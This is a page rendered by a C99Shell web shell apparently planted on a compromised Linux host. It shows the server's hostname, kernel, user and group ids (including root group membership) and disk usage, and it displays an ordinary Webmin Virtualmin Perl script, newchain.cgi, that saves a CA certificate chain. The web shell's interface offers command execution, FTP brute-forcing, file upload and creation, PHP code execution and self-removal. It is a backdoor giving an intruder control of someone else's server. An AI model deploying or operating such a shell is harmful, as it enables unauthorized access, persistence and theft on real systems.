!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     newchain.cgi (2.59 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Save CA certificate

require './virtual-server-lib.pl';
&ReadParseMime();
&error_setup($text{'chain_err'});
$d = &get_domain($in{'dom'});
&can_edit_domain($d) && &can_edit_ssl() || &error($text{'edit_ecannot'});

# Validate and store inputs
$oldchain = &get_website_ssl_file($d, 'ca');
if ($in{'mode'} == 0) {
    # No file
    $chain = undef;
    }
elsif ($in{'mode'} == 1) {
    # File on server
    if (&can_chained_cert_path()) {
        # Use new path, which must exist
        -r $in{'file'} || &error($text{'chain_efile'});
        $data = &read_file_contents($in{'file'});
        $err = &check_certificate_data($data);
        $err && &error(&text('chain_ecert', $err));
        $chain = $in{'file'};
        }
    else {
        # Stick with current
        $oldchain || &error($text{'chain_emode1'});
        $chain = $oldchain;
        }
    }
elsif ($in{'mode'} == 2) {
    # New uploaded file
    $in{'upload'} || &error($text{'chain_eupload'});
    $err = &check_certificate_data($in{'upload'});
    $err && &error(&text('chain_ecert', $err));
    $chain = &default_certificate_file($d, 'ca');
    &lock_file($chain);
    &unlink_file_as_domain_user($d, $chain);
    &write_ssl_file_contents($d, $chain, $in{'upload'});
    &unlock_file($chain);
    }
elsif ($in{'mode'} == 3) {
    # New pasted text
    $in{'paste'} =~ s/\r//g;
    $in{'paste'} || &error($text{'chain_epaste'});
    $err = &check_certificate_data($in{'paste'});
    $err && &error(&text('chain_ecert', $err));
    $chain = &default_certificate_file($d, 'ca');
    &lock_file($chain);
    &unlink_file_as_domain_user($d, $chain);
    &write_ssl_file_contents($d, $chain, $in{'paste'});
    &set_permissions_as_domain_user($d, 0755, $chain);
    &unlock_file($chain);
    }

# Run the before command
&set_domain_envs($d, "SSL_DOMAIN", $d);
$merr = &making_changes();
&reset_domain_envs($d);
&error(&text('setup_emaking', "<tt>$merr</tt>")) if (defined($merr));
@beforecerts = &get_all_domain_service_ssl_certs($d);

# Apply it, including domains that share a cert
&set_all_null_print();
&obtain_lock_ssl($d);
$err = &save_website_ssl_file($d, 'ca', $chain);
&error($err) if ($err);
$d->{'ssl_chain'} = $chain;
&sync_combined_ssl_cert($d);

# Update other services using the cert
&update_all_domain_service_ssl_certs($d, \@beforecerts);

&release_lock_ssl($d);
&save_domain($d);
foreach $od (&get_domain_by("ssl_same", $d->{'id'})) {
    next if (!&domain_has_ssl_cert($od));
    $od->{'ssl_chain'} = $chain;
    &save_website_ssl_file($od, 'ca', $chain);
    &save_domain($od);
    }

# Run the after command
&set_domain_envs($d, "SSL_DOMAIN");
local $merr = &made_changes();
&$second_print(&text('setup_emade', "<tt>$merr</tt>")) if (defined($merr));
&reset_domain_envs($d);

&run_post_actions();
&domain_redirect($d);


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--